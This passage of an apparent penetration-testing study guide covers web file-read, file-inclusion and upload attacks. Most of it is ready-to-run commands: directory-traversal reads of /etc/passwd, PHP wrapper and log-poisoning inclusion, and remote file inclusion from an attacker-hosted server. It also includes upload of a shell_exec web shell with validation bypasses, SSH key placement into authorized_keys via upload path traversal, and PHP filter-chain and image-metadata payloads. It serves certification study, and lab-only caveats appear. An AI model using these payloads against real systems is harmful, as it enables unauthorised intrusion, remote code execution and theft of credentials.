9.3.2 Web File Read, Inclusion and Upload Paths
← Stage index · Web mapping · Quick sheet · Mechanics | Strategy map | Study methods: Turn application weaknesses into access
Use when: a request selects, includes, downloads, previews or uploads a file. Prove read, inclusion, write and execution separately.
9.3.2.1 Directory traversal: prove file read
Linux proof:
curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH
Windows proof:
curl -skG --data-urlencode 'file=../../../../../../Windows/System32/drivers/etc/hosts' http://TARGET:PORT/PATH
Decisive output: recognizable contents of the requested target file.
200 OK, a changed template or a filename reflected in an error is not proof.
9.3.2.1.1 Variant — traversal occurs in the URL path
curl -sk --path-as-is 'http://TARGET:PORT/static/../../../../etc/passwd'
--path-as-is prevents curl from collapsing .. before sending the request.
9.3.2.1.2 Variant — basic normalization/filter tests
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
....//....//....//etc/passwd
Try these only after a plain baseline. Preserve the exact decoding layer that accepted the value.
Next: use discovered user homes, application paths and configuration names to retrieve relevant source, keys or credentials. Send recovered authentication material to Block 5 with its source and identity context.
9.3.2.2 PHP inclusion: retrieve source
curl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php
printf '%s' 'BASE64_DATA' | base64 -d
Prerequisite: a PHP file-inclusion sink that accepts the wrapper. The encoded output must decode to target source; a normal rendered page means the wrapper did not disclose source in that context.
9.3.2.3 LFI to command execution through a writable/readable log
curl -sk -A '<?php echo shell_exec($_GET["cmd"]); ?>' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Prerequisites: the controlled header is logged, the web identity can read the exact log, the inclusion sink evaluates PHP and the payload survives encoding. On Windows/XAMPP, investigate application-specific paths such as
C:\xampp\apache\logs\access.log.
Decisive output: the unique command output and target execution identity. If code appears as text, only read/inclusion is proven.
9.3.2.3.1 Variant — PHP data wrapper
PAYLOAD=$(printf '%s' '<?php echo shell_exec($_GET["cmd"]); ?>' | base64 -w0)
curl -skG --data-urlencode "page=data://text/plain;base64,$PAYLOAD" --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Requires URL inclusion in the sink and PHP allow_url_include=On; it is disabled by default in current PHP configurations.
9.3.2.3.2 Variant — remote file inclusion
python3 -m http.server TRANSFER_PORT --bind LHOST
curl -skG --data-urlencode 'page=http://LHOST:TRANSFER_PORT/check.php' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Requires remote URL inclusion, a compatible interpreter and target-to-LHOST:TRANSFER_PORT reachability. An absent HTTP request is inconclusive until reachability and filtering are separated.
9.3.2.4 Upload: establish the primitive
Create and upload a benign canary:
printf '%s\n' 'UPLOAD_CANARY_7F31' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=probe.txt;type=text/plain' http://TARGET:PORT/upload
Then verify the returned identifier/path and retrieve the bytes.
Record separately: acceptance, server-side name, storage path, retrieval URL, response content type, filesystem write identity and whether the storage location is executable.
9.3.2.5 Upload: verify executable handling
PHP example, only after PHP handler evidence:
printf '%s\n' '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);} ?>' > check.php
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.php;type=application/x-php' http://TARGET:PORT/upload
curl -skG --data-urlencode 'cmd=id' http://TARGET:PORT/uploads/check.php
Decisive output: target command output. A successful upload that downloads, displays source or returns inert text proves write/retrieval only.
9.3.2.5.1 Variants — isolate validation layers in Burp Repeater
Test one property at a time:
- bypass client-side checks by replaying the raw multipart request;
- filename case or alternate extension only when the observed server maps it to the interpreter;
- multipart
Content-Typeindependently from filename and content; - magic bytes only when server behavior shows content inspection;
- double extensions/trailing characters only when normalization evidence supports them;
- server rename and final response
Content-Type.
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.pHP;type=image/jpeg' http://TARGET:PORT/upload
Changing MIME type is a test of validation, not proof of executable handling.
9.3.2.6 Upload with path control
First use a harmless unique filename outside the normal upload directory and verify it through a separate read/listing primitive. Do not overwrite an existing file as a detection test.
9.3.2.6.1 Lab-only variant — controlled SSH public-key placement
ssh-keygen -t ed25519 -f ./web_upload_key -N ''
cp ./web_upload_key.pub ./authorized_keys
curl -sk -b cookies.txt -F 'file=@authorized_keys;filename=../../../../home/USER/.ssh/authorized_keys' http://TARGET:PORT/upload
ssh -i ./web_upload_key -p SSH_PORT USER@TARGET
Use only in a disposable authorized lab after confirming the exact user/home, SSH service, web write identity, destination semantics and overwrite impact. Failure can mean path normalization, permission denial, SSH policy or a different user—not necessarily that upload path control is absent.
9.3.2.7 Continue with the capability your result enables Exit and next action
- file/source/credential disclosure -> Block 5 and authenticated re-enumeration;
- verified web command execution -> record
whoami/id, hostname and working directory, then Block 7; - write without execution -> identify the privileged consumer/trigger or retain it as a chain primitive;
- product-specific handler/CVE requirement -> Block 6;
- no decisive result -> return to the web behavior map with the exact disproven context.
9.3.2.8 PHP include control — generate a filter chain when uploads are unavailable
Use only after confirming a PHP include/require sink accepts a fully controlled stream URI. A file-read endpoint that returns bytes without evaluating PHP is a different primitive. The required iconv/filter behavior must be present.
9.3.2.8.1 Generate the chain locally; copy the complete URI from its output
# Generate the chain locally; copy the complete URI from its output
python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'
9.3.2.8.2 Replay the actual inclusion parameter, encoding the URI as one value
# Replay the actual inclusion parameter, encoding the URI as one value
curl -sS -G --data-urlencode 'page=FILTER_URI' http://TARGET:PORT/PATH
Read: an attributable target UID proves execution; base64-looking text alone can simply be source/file disclosure. Filter errors, URI truncation or rejected wrappers → inspect the actual PHP build, filter availability and parameter limits. Use the existing upload/log inclusion routes when their prerequisites fit; do not assume a modern %00 suffix truncates a filename.
Sources: upstream 1.
9.3.2.9 Image/PDF upload plus inclusion — verify the consumer
Use when an accepted upload can later be read by a confirmed PHP include sink. MIME, extension and magic-byte checks only describe acceptance; they do not establish an executable handler.
9.3.2.9.1 Start with an existing valid test JPEG; place a small PHP effect in its metadata
# Start with an existing valid test JPEG; place a small PHP effect in its metadata
exiftool -Comment='<?php system("id"); ?>' probe.jpg
file probe.jpg
9.3.2.9.2 Retrieve the stored upload, then use the verified inclusion path
# Retrieve the stored upload, then use the verified inclusion path
curl -i http://TARGET:PORT/uploads/STORED_FILE
curl -sS -G --data-urlencode 'page=PATH/TO/STORED_FILE' http://TARGET:PORT/INCLUDE_PATH
Read: downloading image bytes is storage/read access; a UID returned by the include establishes execution in that PHP process. PDF/PHP combinations have the same consumer requirement. Extension case, double extensions and Content-Type changes are separate validation tests, not a list to try blindly. Treat null-byte filenames as a legacy parser hypothesis that needs version evidence.
Sources: upstream 1 · upstream 2.
9.3.2.10 Sources
Supplied PEN-200 Ch 9.1-9.3, pp245-274; Hexdump traversal module, file inclusion, file upload; OWASP traversal/file inclusion.